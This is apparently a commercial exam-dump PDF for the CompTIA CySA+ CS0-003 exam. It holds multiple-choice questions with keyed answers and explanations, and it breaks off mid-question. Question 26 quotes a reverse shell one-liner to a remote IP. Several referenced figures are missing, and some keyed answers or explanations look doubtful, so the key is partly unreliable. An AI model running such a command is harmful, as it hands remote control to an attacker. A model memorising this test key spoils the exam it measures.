CS0-003.pdf

Lead2Pass.com Copyright © 2006-2011 Lead2pass.com , All Rights Reserved. Vendor: CompTIA Exam Code: CS0-003 Exam Name: CompTIA Cybersecurity Analyst (CySA+) Exam Version: 24.061 Important Notice Product Our Product Manager keeps an eye for Exam updates by Vendors. Free update is available within 150 days after your purchase. You can login member center and download the latest product anytime. (Product downloaded from member center is always the latest.) PS: Ensure you can pass the exam, please check the latest product in 2-3 days before the exam again. Feedback We devote to promote the product quality and the grade of service to ensure customers interest. If you have any suggestions, please feel free to contact us at [email protected] If you have any questions about our product, please provide Exam Number, Version, Page Number, Question Number, and your Login Account to us, please contact us at [email protected] and our technical experts will provide support in 24 hours. Copyright The product of each order has its own encryption code, so you should use it independently. If anyone who share the file we will disable the free update and account access. Any unauthorized changes will be inflicted legal punishment. We will reserve the right of final explanation for this statement. Order ID: **************** PayPal Name: **************** PayPal ID: **************** QUESTION 1 A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process? A. Testing B. Implementation C. Validation D. Rollback Answer: C Explanation: The next step in the remediation process after applying a software patch is validation. Validation is a process that involves verifying that the patch has been successfully applied, that it has fixed the vulnerability, and that it has not caused any adverse effects on the system or application functionality or performance. Validation can be done using various methods, such as scanning, testing, monitoring, or auditing. QUESTION 2 The analyst reviews the following endpoint log entry: Which of the following has occurred? A. Registry change B. Rename computer C. New account introduced D. Privilege escalation Answer: C Explanation: The endpoint log entry shows that a new account named "admin" has been created on a Windows system with a local group membership of "Administrators". This indicates that a new account has been introduced on the system with administrative privileges. This could be a sign of malicious activity, such as privilege escalation or backdoor creation, by an attacker who has compromised the system. QUESTION 3 A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did? A. Data enrichment B. Security control plane C. Threat feed combination D. Single pane of glass Answer: D Explanation: Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 2 https://www.lead2pass.com A single pane of glass is a term that describes a unified view or interface that integrates multiple tools or data sources into one dashboard or console. A single pane of glass can help improve security operations by providing visibility, correlation, analysis, and alerting capabilities across various security controls and systems. A single pane of glass can also help reduce complexity, improve efficiency, and enhance decision making for security analysts. In this case, a security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM, which provides a single pane of glass for security operations. QUESTION 4 Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan against a corporate network to evaluate which devices were operating in the environment. Given the following output: Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 3 https://www.lead2pass.com Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 4 https://www.lead2pass.com Which of the following choices should the analyst look at first? A. wh4dc-748gy.lan (192.168.86.152) B. officerckuplayer.lan (192.168.86.22) C. imaging.lan (192.168.86.150) D. xlaptop.lan (192.168.86.249) E. p4wnp1_aloa.lan (192.168.86.56) Answer: E Explanation: The analyst should look at p4wnp1_aloa.lan (192.168.86.56) first, as this is the most suspicious device on the network. P4wnP1 ALOA is a tool that can be used to create a malicious USB device that can perform various attacks, such as keystroke injection, network sniffing, man-in-the- middle, or backdoor creation. The presence of a device with this name on the network could indicate that an attacker has plugged in a malicious USB device to a system and gained access to the network. QUESTION 5 When starting an investigation, which of the following must be done first? A. Notify law enforcement B. Secure the scene C. Seize all related evidence D. Interview the witnesses Answer: B Explanation: The first thing that must be done when starting an investigation is to secure the scene. Securing the scene involves isolating and protecting the area where the incident occurred, as well as any potential evidence or witnesses. Securing the scene can help prevent any tampering, contamination, or destruction of evidence, as well as any interference or obstruction of the investigation. QUESTION 6 New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The SOC manager discovers that new employees are not aware of the company policy. Which of the following will the SOC manager most likely recommend to help ensure new employees are accountable for following the company policy? A. Human resources must email a copy of a user agreement to all new employees B. Supervisors must get verbal confirmation from new employees indicating they have read the user agreement C. All new employees must take a test about the company security policy during the onboardmg process D. All new employees must sign a user agreement to acknowledge the company security policy Answer: D Explanation: The best action that the SOC manager can recommend to help ensure new employees are accountable for following the company policy is to require all new employees to sign a user Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 5 https://www.lead2pass.com agreement to acknowledge the company security policy. A user agreement is a document that defines the rights and responsibilities of the users regarding the use of the company's systems, networks, or resources, as well as the consequences of violating the company's security policy. Signing a user agreement can help ensure new employees are aware of and agree to comply with the company security policy, as well as hold them accountable for any breaches or incidents caused by their actions or inactions. QUESTION 7 An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft. Which of the following would be the best threat intelligence source to learn about this new campaign? A. Information sharing organization B. Blogs/forums C. Cybersecurity incident response team D. Deep/dark web Answer: A Explanation: An information sharing organization is a group or network of organizations that share threat intelligence, best practices, or lessons learned related to cybersecurity issues or incidents. An information sharing organization can help security analysts learn about new ransomware campaigns or other emerging threats, as well as get recommendations or guidance on how to prevent, detect, or respond to them. An information sharing organization can also help security analysts collaborate or coordinate with other organizations in the same industry or region that may face similar threats or challenges. QUESTION 8 An incident response team finished responding to a significant security incident. The management team has asked the lead analyst to provide an after-action report that includes lessons learned. Which of the following is the most likely reason to include lessons learned? A. To satisfy regulatory requirements for incident reporting B. To hold other departments accountable C. To identify areas of improvement in the incident response process D. To highlight the notable practices of the organization's incident response team Answer: C Explanation: The most likely reason to include lessons learned in an after-action report is to identify areas of improvement in the incident response process. The lessons learned process is a way of reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or best practices. Identifying areas of improvement in the incident response process can help enhance the security posture, readiness, or capability of the organization for future incidents, as well as provide feedback or recommendations on how to address any issues or challenges. QUESTION 9 A vulnerability management team is unable to patch all vulnerabilities found during their weekly scans. Using the third-party scoring system described below, the team patches the most urgent Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 6 https://www.lead2pass.com vulnerabilities: Additionally, the vulnerability management team feels that the metrics Smear and Channing are less important than the others, so these will be lower in priority. Which of the following vulnerabilities should be patched first, given the above third-party scoring system? A. InLoud: Cobain: Yes Grohl: No Novo: Yes Smear: Yes Channing: No B. TSpirit: Cobain: Yes Grohl: Yes Novo: Yes Smear: No Channing: No C. ENameless: Cobain: Yes Grohl: No Novo: Yes Smear: No Channing: No D. PBleach: Cobain: Yes Grohl: No Novo: No Smear: No Channing: Yes Answer: B Explanation: The vulnerability that should be patched first, given the above third-party scoring system, is: TSpirit: Cobain: Yes Grohl: Yes Novo: Yes Smear: No Channing: No This vulnerability has three out of five metrics marked as Yes, which indicates a high severity level. The metrics Cobain, Grohl, and Novo are more important than Smear and Channing, according to the vulnerability management team. Therefore, this vulnerability poses a greater risk than the other vulnerabilities and should be patched first. QUESTION 10 A user downloads software that contains malware onto a computer that eventually infects numerous other systems. Which of the following has the user become? A. Hacktivist Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 7 https://www.lead2pass.com B. Advanced persistent threat C. Insider threat D. Script kiddie Answer: C Explanation: The user has become an insider threat by downloading software that contains malware onto a computer that eventually infects numerous other systems. An insider threat is a person or entity that has legitimate access to an organization's systems, networks, or resources and uses that access to cause harm or damage to the organization. An insider threat can be intentional or unintentional, malicious or negligent, and can result from various actions or behaviors, such as downloading unauthorized software, violating security policies, stealing data, sabotaging systems, or collaborating with external attackers. QUESTION 11 An organization has activated the CSIRT. A security analyst believes a single virtual server was compromised and immediately isolated from the network. Which of the following should the CSIRT conduct next? A. Take a snapshot of the compromised server and verify its integrity B. Restore the affected server to remove any malware C. Contact the appropriate government agency to investigate D. Research the malware strain to perform attribution Answer: A Explanation: The next action that the CSIRT should conduct after isolating the compromised server from the network is to take a snapshot of the compromised server and verify its integrity. Taking a snapshot of the compromised server involves creating an exact copy or image of the server's data and state at a specific point in time. Verifying its integrity involves ensuring that the snapshot has not been altered, corrupted, or tampered with during or after its creation. Taking a snapshot and verifying its integrity can help preserve and protect any evidence or information related to the incident, as well as prevent any tampering, contamination, or destruction of evidence. QUESTION 12 During an incident, an analyst needs to acquire evidence for later investigation. Which of the following must be collected first in a computer system, related to its volatility level? A. Disk contents B. Backup data C. Temporary files D. Running processes Answer: D Explanation: The most volatile type of evidence that must be collected first in a computer system is running processes. Running processes are programs or applications that are currently executing on a computer system and using its resources, such as memory, CPU, disk space, or network bandwidth. Running processes are very volatile because they can change rapidly or disappear completely when the system is shut down, rebooted, logged off, or crashed. Running processes can also be affected by other processes or users that may modify or terminate them. Therefore, running processes must be collected first before any other type of evidence in a computer Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 8 https://www.lead2pass.com system. QUESTION 13 A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region. Which of the following shell script functions could help achieve the goal? A. function w() { a=$(ping -c 1 $1 | awk-F "/" 'END{print $1}') && echo "$1 | $a" } B. function x() { b=traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $b" } C. function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1}').origin.asn.cymru.com TXT +short } D. function z() { c=$(geoiplookup$1) && echo "$1 | $c" } Answer: C Explanation: The shell script function that could help identify possible network addresses from different source networks belonging to the same company and region is: function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1}').origin.asn.cymru.com TXT +short } This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address, such as the country code, registry, or allocation date. The function then prints the IP address and the ASN information, which can help identify any network addresses that belong to the same ASN or region. QUESTION 14 A security analyst is writing a shell script to identify IP addresses from the same country. Which of the following functions would help the analyst achieve the objective? A. function w() { info=$(ping -c 1 $1 | awk -F "/" 'END{print $1}') && echo "$1 | $info" } B. function x() { info=$(geoiplookup $1) && echo "$1 | $info" } C. function y() { info=$(dig -x $1 | grep PTR | tail -n 1 ) && echo "$1 | $info" } D. function z() { info=$(traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $info" } Answer: B Explanation: The function that would help the analyst identify IP addresses from the same country is: function x() { info=$(geoiplookup $1) && echo "$1 | $info" } This function takes an IP address as an argument and uses the geoiplookup command to get the geographic location information associated with the IP address, such as the country name, country code, region, city, or latitude and longitude. The function then prints the IP address and the geographic location information, which can help identify any IP addresses that belong to the same country. QUESTION 15 A security analyst obtained the following table of results from a recent vulnerability assessment Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 9 https://www.lead2pass.com that was conducted against a single web server in the environment: Which of the following should be completed first to remediate the findings? A. Ask the web development team to update the page contents B. Add the IP address allow listing for control panel access C. Purchase an appropriate certificate from a trusted root CA D. Perform proper sanitization on all fields Answer: D Explanation: The first action that should be completed to remediate the findings is to perform proper sanitization on all fields. Sanitization is a process that involves validating, filtering, or encoding any user input or data before processing or storing it on a system or application. Sanitization can help prevent various types of attacks, such as cross-site scripting (XSS), SQL injection, or command injection, that exploit unsanitized input or data to execute malicious scripts, commands, or queries on a system or application. Performing proper sanitization on all fields can help address the most critical and common vulnerability found during the vulnerability assessment, which is XSS. QUESTION 16 A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability. Which of the following CVE metrics would be most accurate for this zero-day threat? A. CVSS:31/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H Answer: A Explanation: The attack vector is network (AV:N), the attack complexity is low (AC:L), no privileges are required (PR:N), no user interaction is required (UI:N), the scope is unchanged (S:U), the confidentiality and integrity impacts are high (C:H/I:H), and the availability impact is low (A:L). QUESTION 17 Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 10 https://www.lead2pass.com Which of the following tools would work best to prevent the exposure of PII outside of an organization? A. PAM B. IDS C. PKI D. DLP Answer: D Explanation: PAM (privileged access management) is a security framework that helps organizations manage and control access to privileged accounts and systems. IDS (intrusion detection system) is a security technology that monitors network traffic for malicious activity. PKI (public key infrastructure) is a set of technologies that enable secure communication over public networks. DLP (data loss prevention) is a security technology that helps organizations prevent the unauthorized disclosure of sensitive data. Of the above options, only DLP is specifically designed to prevent the exposure of PII outside of an organization. PAM, IDS, and PKI can all be used to help protect PII, but they are not specifically designed for this purpose. QUESTION 18 An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed: Which of the following tuning recommendations should the security analyst share? A. Set an HttpOnly flag to force communication by HTTPS B. Block requests without an X-Frame-Options header C. Configure an Access-Control-Allow-Origin header to authorized domains D. Disable the cross-origin resource sharing header Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 11 https://www.lead2pass.com Answer: B Explanation: The output shows that the web application is vulnerable to clickjacking attacks, which allow an attacker to overlay a hidden frame on top of a legitimate page and trick users into clicking on malicious links. Blocking requests without an X-Frame-Options header can prevent this attack by instructing the browser to not display the page within a frame. QUESTION 19 Which of the following items should be included in a vulnerability scan report? (Choose two.) A. Lessons learned B. Service-level agreement C. Playbook D. Affected hosts E. Risk score F. Education plan Answer: DE Explanation: Affected hosts: The vulnerability scan report should clearly list the hosts or systems that are affected by the identified vulnerabilities. This information is crucial for understanding the scope of the vulnerabilities and taking appropriate remediation actions. Risk score: Vulnerability scans often assign risk scores or severity ratings to each identified vulnerability. These scores help prioritize remediation efforts by indicating the potential impact and exploitability of the vulnerabilities. Including risk scores in the report provides an understanding of the relative severity of the identified vulnerabilities. QUESTION 20 The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released. Which of the following would best protect this organization? A. A mean time to remediate of 30 days B. A mean time to detect of 45 days C. A mean time to respond of 15 days D. Third-party application testing Answer: C Explanation: By having a mean time to respond of 15 days, the organization can act swiftly when a potential attack is detected or a patch is released. QUESTION 21 A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious. Given the following script: Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 12 https://www.lead2pass.com Which of the following scripting languages was used in the script? A. PowerShell B. Ruby C. Python D. Shell script Answer: A Explanation: The syntax in the given script, such as cmdlet names starting with "Get-", "Add-", "Set-", and the use of the pipeline "|", is characteristic of PowerShell scripting. Moreover, the use of Active Directory cmdlets like "Get-ADUser," "Add-ADGroupMember," and "Set-ADUser" indicates that this script is designed to interact with Active Directory, which aligns with PowerShell's primary use case in managing Windows environments and Active Directory services. QUESTION 22 A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS. Which of the following most likely describes the observed activity? A. There is an issue with the SSL certificate causing port 443 to become unavailable for HTTPS access B. An on-path attack is being performed by someone with internal access that forces users into port 80 C. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80 D. An error was caused by BGP due to new rules applied over the company's internal routers Answer: B Explanation: The fact that the company's internal portal is sometimes accessible through HTTP (port 80) and other times through HTTPS (port 443) suggests that someone with internal access is actively manipulating the network traffic. An on-path attack is a type of man-in-the-middle attack where an attacker intercepts and modifies communication between two parties. By forcing users into using HTTP instead of HTTPS, the attacker can potentially capture sensitive information transmitted over the network, such as login credentials or session data. An issue with the SSL certificate (Option A) would generally result in HTTPS not working at all, rather than it being intermittently accessible. A web server unable to handle an increasing amount of HTTPS requests (Option C) would likely result in performance issues or server errors, but it wouldn't selectively redirect users to HTTP. BGP (Border Gateway Protocol) is used for routing between autonomous systems on the internet, and it generally would not cause the internal portal to switch between HTTP and HTTPS. It is more relevant to external internet routing. QUESTION 23 Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 13 https://www.lead2pass.com A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer? A. SLA B. MOU C. NDA D. Limitation of liability Answer: A Explanation: SLA stands for service level agreement, which is a contract or document that defines the expectations and obligations between a service provider and a customer regarding the quality, availability, performance, or scope of a service. An SLA may also specify the metrics, penalties, or remedies for measuring or ensuring compliance with the agreed service levels. An SLA can help the SOC manager review if the team is meeting the appropriate contractual obligations for the customer, such as response time, resolution time, reporting frequency, or communication channels. QUESTION 24 Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target? A. Command and control B. Actions on objectives C. Exploitation D. Delivery Answer: A Explanation: Command and control (C2) is a phase of the Cyber Kill Chain that involves the adversary attempting to establish communication with a successfully exploited target. C2 enables the adversary to remotely control or manipulate the target system or network using various methods, such as malware callbacks, backdoors, botnets, or covert channels. C2 allows the adversary to maintain persistence, exfiltrate data, execute commands, deliver payloads, or spread to other systems or networks. QUESTION 25 A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the following would best meet this requirement? A. External B. Agent-based C. Non-credentialed D. Credentialed Answer: B Explanation: Agent-based vulnerability scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 14 https://www.lead2pass.com or console. Agent-based vulnerability scanning can reduce network traffic, as the scans are performed locally and only the results are transmitted over the network. Agent-based vulnerability scanning can also provide more accurate and up-to-date results, as the agents can scan continuously or on- demand, regardless of the system or network status or location. QUESTION 26 A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l Which of the following is being attempted? A. RCE B. Reverse shell C. XSS D. SQL injection Answer: B Explanation: A reverse shell is a type of shell access that allows a remote user to execute commands on a target system or network by reversing the normal direction of communication. A reverse shell is usually created by running a malicious script or program on the target system that connects back to the remote user's system and opens a shell session. A reverse shell can bypass firewalls or other security controls that block incoming connections, as it uses an outgoing connection initiated by the target system. In this case, the security analyst has detected an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l This command is a shell script that creates a reverse shell connection from the target system to the remote user's system at IP address 10.1.1.1 and port 4821 using UDP protocol. QUESTION 27 An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the following factors would an analyst most likely communicate as the reason for this escalation? A. Scope B. Weaponization C. CVSS D. Asset value Answer: B Explanation: Weaponization is a factor that describes how an adversary develops or acquires an exploit or payload that can take advantage of a vulnerability and deliver a malicious effect. Weaponization can increase the severity or impact of a vulnerability, as it makes it easier or more likely for an attacker to exploit it successfully and cause damage or harm. Weaponization can also indicate the level of sophistication or motivation of an attacker, as well as the availability or popularity of an exploit or payload in the cyber threat landscape. In this case, an older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. This indicates that weaponization was the reason for this escalation. Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 15 https://www.lead2pass.com QUESTION 28 An analyst is reviewing a vulnerability report for a server environment with the following entries: Which of the following systems should be prioritized for patching first? A. 10.101.27.98 B. 54.73.225.17 C. 54.74.110.26 D. 54.74.110.228 Answer: D QUESTION 29 A security analyst is tasked with prioritizing vulnerabilities for remediation. The relevant company security policies are shown below: Security Policy 1006: Vulnerability Management 1. The Company shall use the CVSSv3.1 Base Score Metrics (Exploitability and Impact) to prioritize the remediation of security vulnerabilities. 2. In situations where a choice must be made between confidentiality and availability, the Company shall prioritize confidentiality of data over availability of systems and data. 3. The Company shall prioritize patching of publicly available systems and services over patching of internally available system. According to the security policy, which of the following vulnerabilities should be the highest Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 16 https://www.lead2pass.com priority to patch? A. Name: THOR.HAMMER - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Internal System B. Name: CAP.SHIELD - CVSS 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N External System C. Name: LOKI.DAGGER - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H External System D. Name: THANOS.GAUNTLET - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Internal System Answer: B Explanation: Based on the security policy and the CVSSv3.1 Base Scores, vulnerability B (CAP.SHIELD) with a high impact on confidentiality should be the highest priority to patch. It is an externally accessible system, and since confidentiality takes precedence over availability, it should be addressed before other vulnerabilities. QUESTION 30 Which of the following will most likely ensure that mission-critical services are available in the event of an incident? A. Business continuity plan B. Vulnerability management plan C. Disaster recovery plan D. Asset management plan Answer: C Explanation: A disaster recovery plan (DRP) is a document that outlines the steps that an organization will take to recover from a disaster. This includes identifying the organization's critical systems and data, developing a plan to restore those systems and data, and testing the plan regularly. QUESTION 31 The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organization. Which of the following solutions will assist in reducing the risk? A. Deploy a CASB and enable policy enforcement B. Configure MFA with strict access C. Deploy an API gateway D. Enable SSO to the cloud applications Answer: A Explanation: A cloud access security broker (CASB) is a security solution that helps organizations manage and secure their cloud applications. CASBs can be used to enforce security policies, monitor cloud usage, and detect and block malicious activity. Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 17 https://www.lead2pass.com In this case, the Chief Information Security Officer (CISO) wants to reduce the risk of shadow IT by enforcing security policies on the high-risk cloud applications. A CASB can be used to do this by providing visibility into cloud usage, identifying unauthorized applications, and enforcing security policies. QUESTION 32 An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external SaaS resources. The team determines the organization was impacted by a DDoS attack. Which of the following logs should the team review first? A. CDN B. Vulnerability scanner C. DNS D. Web server Answer: C Explanation: A DDoS attack is a type of attack that floods a target with more traffic than it can handle. This can cause the target to become unavailable to legitimate users. The DNS logs will show the IP addresses of the devices that were sending the traffic to the target. This information can be used to identify the attackers. The other logs may also be helpful in investigating a DDoS attack, but they are less likely to provide the same level of detail as the DNS logs. QUESTION 33 A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack. Which of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in? A. Weaponization B. Reconnaissance C. Delivery D. Exploitation Answer: D Explanation: The Cyber Kill Chain is a framework for understanding and responding to cyberattacks. It describes seven stages that an attacker must complete in order to successfully compromise a system. In this case, the malicious actor has already gained access to the internal network through social engineering. This means that the actor has completed the Reconnaissance and Delivery stages of the Cyber Kill Chain. The actor is now in the Exploitation stage, where they are attempting to gain control of the system. QUESTION 34 An analyst finds that an IP address outside of the company network that is being used to run network and vulnerability scans across external-facing assets. Which of the following steps of an attack framework is the analyst witnessing? A. Exploitation Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 18 https://www.lead2pass.com B. Reconnaissance C. Command and control D. Actions on objectives Answer: B Explanation: Reconnaissance is the first step in most attack frameworks. It is the process of gathering information about a target in order to plan an attack. This information can include things like the target's network topology, IP addresses, and open ports. In this case, the analyst has found that an IP address outside of the company network is being used to run network and vulnerability scans across external-facing assets. This is a clear sign that the IP address is being used for reconnaissance. QUESTION 35 An incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country. Which of the following best describes what is happening? (Choose two.) A. Beaconing B. Domain Name System hijacking C. Social engineering attack D. On-path attack E. Obfuscated links F. Address Resolution Protocol poisoning Answer: CE Explanation: Social engineering attack: This is a type of attack that relies on tricking the victim into clicking on a malicious link or opening an attachment. In this case, the concealed URL in the email is likely a malicious link that will lead the victim to a website that is controlled by the attacker. Once the victim clicks on the link, the attacker can then install malware on the victim's computer or steal their personal information. Obfuscated links: This is a technique used to hide the true destination of a link. This can be done by using a variety of methods, such as using shortened URLs or encoding the URL in a way that makes it difficult to read. In this case, the concealed URL in the email is likely obfuscated, which makes it more difficult for the victim to identify as malicious. QUESTION 36 During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application. Which of the following recommendations would best mitigate this problem if applied along the SDLC phase? A. Conduct regular red team exercises over the application in production B. Ensure that all implemented coding libraries are regularly checked C. Use application security scanning as part of the pipeline for the CI/CD flow D. Implement proper input validation for any data entry form Answer: C Explanation: Application security scanning is a process that involves testing and analyzing applications for security vulnerabilities, such as injection flaws, broken authentication, cross-site scripting, and Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 19 https://www.lead2pass.com insecure configuration. Application security scanning can help identify and fix security issues before they become exploitable by attackers. Using application security scanning as part of the pipeline for the continuous integration/continuous delivery (CI/CD) flow can help mitigate the problem of finding the same vulnerabilities in a critical application during security scanning. This is because application security scanning can be integrated into the development lifecycle and performed automatically and frequently as part of the CI/CD process. QUESTION 37 An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst finds that most systems can be upgraded with a reboot resulting in a single downtime window. However, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. Which of the following inhibitors to remediation do these systems and associated vulnerabilities best represent? A. Proprietary systems B. Legacy systems C. Unsupported operating systems D. Lack of maintenance windows Answer: A Explanation: Proprietary systems are systems that are owned by their developer or vendor, and the company does not have access to the source code or other necessary information to upgrade or patch the system. This can make it difficult to remediate vulnerabilities in proprietary systems, as the company may need to rely on the vendor to provide a patch or update. In this case, the two critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. This suggests that the systems are proprietary, and the company is unable to remediate the vulnerabilities without the vendor's assistance. QUESTION 38 A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data. Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results? A. Credentialed network scanning B. Passive scanning C. Agent-based scanning D. Dynamic scanning Answer: C Explanation: Agent-based scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server or console. Agent- based scanning can reduce the access to systems, as the agents do not require any credentials or permissions to scan the local system or network. Agent-based scanning can also provide the most accurate vulnerability scan results, as the agents can scan continuously or on- demand, regardless of the system or network status or location. QUESTION 39 A security analyst is trying to identify anomalies on the network routing. Which of the following functions can the analyst use on a shell script to achieve the objective most accurately? Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 20 https://www.lead2pass.com A. function x() { info=$(geoiplookup $1) && echo "$1 | $info" } B. function x() { info=$(ping -c 1 $1 | awk -F "/" 'END{print $5}') && echo "$1 | $info" } C. function x() { info=$(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1} ').origin.asn.cymru.com TXT +short) && echo "$1 | $info" } D. function x() { info=$(traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $info" } Answer: C Explanation: The function that can be used on a shell script to identify anomalies on the network routing most accurately is: function x() { info=(dig(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1} ').origin.asn.cymru.com TXT +short) && echo "$1 | $info" } This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address. The function then prints the IP address and the ASN information, which can help identify any routing anomalies or inconsistencies. QUESTION 40 There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat. Which of the following security controls would best support the company in this scenario? A. Implement step-up authentication for administrators B. Improve employee training and awareness C. Increase password complexity standards D. Deploy mobile device management Answer: B Explanation: The best security control to implement against sensitive information being disclosed via file sharing services is to improve employee training and awareness. Employee training and awareness can help educate employees on the risks and consequences of using file sharing services for sensitive information, as well as the policies and procedures for handling such information securely and appropriately. Employee training and awareness can also help foster a security culture and encourage employees to report any incidents or violations of information security. QUESTION 41 Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach? A. Determine the sophistication of the audience that the report is meant for B. Include references and sources of information on the first page C. Include a table of contents outlining the entire report D. Decide on the color scheme that will effectively communicate the metrics Answer: A Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 21 https://www.lead2pass.com Explanation: The best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach is to determine the sophistication of the audience that the report is meant for. The sophistication of the audience refers to their level of technical knowledge, understanding, or interest in cybersecurity topics. Determining the sophistication of the audience can help tailor the report content, language, tone, and format to suit their needs and expectations. For example, a report for executive management may be more concise, high-level, and business- oriented than a report for technical staff or peers. QUESTION 42 A security analyst is performing an investigation involving multiple targeted Windows malware binaries. The analyst wants to gather intelligence without disclosing information to the attackers. Which of the following actions would allow the analyst to achieve the objective? A. Upload the binary to an air gapped sandbox for analysis B. Send the binaries to the antivirus vendor C. Execute the binaries on an environment with internet connectivity D. Query the file hashes using VirusTotal Answer: A Explanation: The best action that would allow the analyst to gather intelligence without disclosing information to the attackers is to upload the binary to an air gapped sandbox for analysis. An air gapped sandbox is an isolated environment that has no connection to any external network or system. Uploading the binary to an air gapped sandbox can prevent any communication or interaction between the binary and the attackers, as well as any potential harm or infection to other systems or networks. An air gapped sandbox can also allow the analyst to safely analyze and observe the behavior, functionality, or characteristics of the binary. QUESTION 43 Which of the following would help to minimize human engagement and aid in process improvement in security operations? A. OSSTMM B. SIEM C. SOAR D. OWASP Answer: C Explanation: SOAR stands for security orchestration, automation, and response, which is a term that describes a set of tools, technologies, or platforms that can help streamline, standardize, and automate security operations and incident response processes and tasks. SOAR can help minimize human engagement and aid in process improvement in security operations by reducing manual work, human errors, response time, or complexity. SOAR can also help enhance collaboration, coordination, efficiency, or effectiveness of security operations and incident response teams. QUESTION 44 After conducting a cybersecurity risk assessment for a new software request, a Chief Information Security 